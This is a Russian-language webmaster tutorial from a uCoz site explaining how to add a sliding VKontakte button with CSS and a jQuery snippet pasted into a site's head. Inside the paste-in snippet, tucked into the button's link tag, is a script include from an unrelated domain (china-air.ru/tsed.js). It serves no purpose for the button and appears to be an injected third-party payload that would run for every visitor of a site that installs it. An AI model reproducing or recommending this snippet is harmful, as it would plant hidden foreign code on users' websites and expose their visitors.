Понедельник, 02.12.2024, 20:27
Перевод

Погода
Профиль
Здравствуйте, Гость
Гость, мы рады вас видеть.
Поиск
Друзья сайта
  • All Share
  • it-baza
  • Eroglamour.ru
  • Статистика
    widgeo.net



    Каталог webplus.info










    Яндекс.Метрика







    Онлайн всего: 9
    Гостей: 9
    Пользователей: 0


    Всего: 201
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0

    Администраторов: 2
    Модераторов: 3
    V.I.P.: 2
    Журналистов: 27
    Временных: 0
    Заблокированных: 0
    Обычных: 167

    Парней: 157
    Девушек: 43

    Всего материалов:
    Новостей: 43846
    Блогов: 226
    Файлов: 57
    Фото: 0
    Форум: 7/7
    Коментариев: 29


    Посетившие за День



    День рождения рождения


    Облако тегов
    Реклама


    Меню сайта
    Категории раздела
    Программы [3808]
    Мультфильмы [491]
    Антивирус [223]
    Photoshop [1548]
    Книги Журналы [11595]
    Клипы [878]
    Фильмы онлайн [3]
    Все для Мобилы [352]
    Игры [1012]
    Музыка [9033]
    Фильмы [2969]
    Заработок в Интернете [554]
    Все для Того чтоб заработать в Интернете
    Разное [11198]
    Скрипты - Шаблоны для сайтов [57]
    Youtube
    Наш опрос
    Оцените мой сайт
    Всего ответов: 54
    Игра
    Реклама

    >

    Эротический видео-чат
    автоматическое продвижение сайтов






    $$$ для web-мастеров

    Сборник элитных сайтов с особой модерацией.

    <
    Рейтинг сайтов 3D Architech - Новости CG графикиСтатистика посещений сайта
    Каталог webplus.info
    Главная » 2012 » Декабрь » 15 » Выдвижная кнопка ВКонтакте для uCoz
    17:41
    Выдвижная кнопка ВКонтакте для uCoz
    Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz

    Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа.

    Установка

    1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:

    Code
    #vkontakte_button img {  
      position: fixed;  
      top:125px;  
      right: -76px;  
      z-index: 99999;  
      cursor: pointer;  
      display: block;  
      }


    2.) Следующий код вставляем в любое место на странице между head и /head:

    Code
    <script type="text/javascript">  
      $(function($) {  
      $("#vkontakte_button img").hover(  
      function () {  
      $(this).animate({right: '0'}, {queue:false, duration: 350});  
      //$(this).css('right', '0');  
      },  
      function () {  
      $(this).animate({right: '-76px'}, {queue:false, duration: 350});  
      // $(this).css('right', '-76px');  
      }  
      );  
      });  
      </script>  
      <a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">  
      <img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>  
      </a>


    Настройка скрипта

    Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк..

    Вот и все, установка и настройка завершена.
    Просмотров: 102 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]